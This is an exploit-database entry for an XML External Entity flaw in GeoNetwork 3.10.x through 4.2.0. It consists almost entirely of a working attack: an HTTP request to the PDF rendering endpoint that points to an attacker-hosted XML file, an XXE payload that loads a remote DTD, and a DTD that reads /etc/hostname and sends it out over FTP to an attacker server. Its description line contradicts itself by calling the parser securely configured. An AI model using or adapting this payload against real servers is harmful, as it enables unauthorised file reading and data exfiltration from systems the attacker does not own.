Geonetwork 4.2.0 - XML External Entity (XXE)

# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)
# Date: 2022-July-11
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://geonetwork-opensource.org/
# Version: Geonetwork 3.10.X through 4.2.0
# Tested on: Microsoft Windows Server & Linux

# Description:
# GeoNetwork 3.1.x through 4.2.0
# During rendering pdf of map.
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.

====================PDF RENDERING==================== 

POST /geonetwork/pdf/create.json HTTP/1.1
Host: REDACTED
Content-Type: application/json
Connection: close
Content-Length: 563

{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],

"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,

20037508.34],

"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}


The parameters baseURL will be your XML files : 

====================XXE_ATTACK==================== 

====================XXE.XML=======================

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

====================X.dtd=========================
They will call the x.dtd

<!ENTITY % stuff SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>">